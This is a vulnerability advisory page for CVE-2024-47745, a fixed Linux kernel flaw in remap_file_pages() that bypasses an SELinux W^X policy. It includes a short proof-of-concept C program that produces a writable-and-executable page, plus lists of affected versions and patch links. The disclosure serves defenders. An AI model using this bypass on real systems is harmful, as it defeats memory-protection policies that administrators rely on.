We use these services and cookies to improve your user experience. You may opt out if you wish, however, this may limit some features on this site.

Please see our statement on Data Privacy.

Crisp.chat (Helpdesk and Chat)

Ok

THREATINT
PUBLISHED

CVE-2024-47745

mm: call the security_mmap_file() LSM hook in remap_file_pages()



AssignerLinux
Reserved2024-09-30
Published2024-10-21
Updated2024-11-05

Description

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Product status

Default status
unaffected

1da177e4c3f4 before 49d3a4ad57c5
affected

1da177e4c3f4 before 3393fddbfa94
affected

1da177e4c3f4 before ce14f38d6ee9
affected

1da177e4c3f4 before ea7e2d5e49c0
affected

Default status
affected

6.6.54
unaffected

6.10.13
unaffected

6.11.2
unaffected

6.12-rc1
unaffected

References

https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178

https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89

https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3

https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2

cve.org CVE-2024-47745

nvd.nist.gov CVE-2024-47745

Download JSON

Share this page
https://cve.threatint.com
Subscribe to our newsletter to learn more about our work.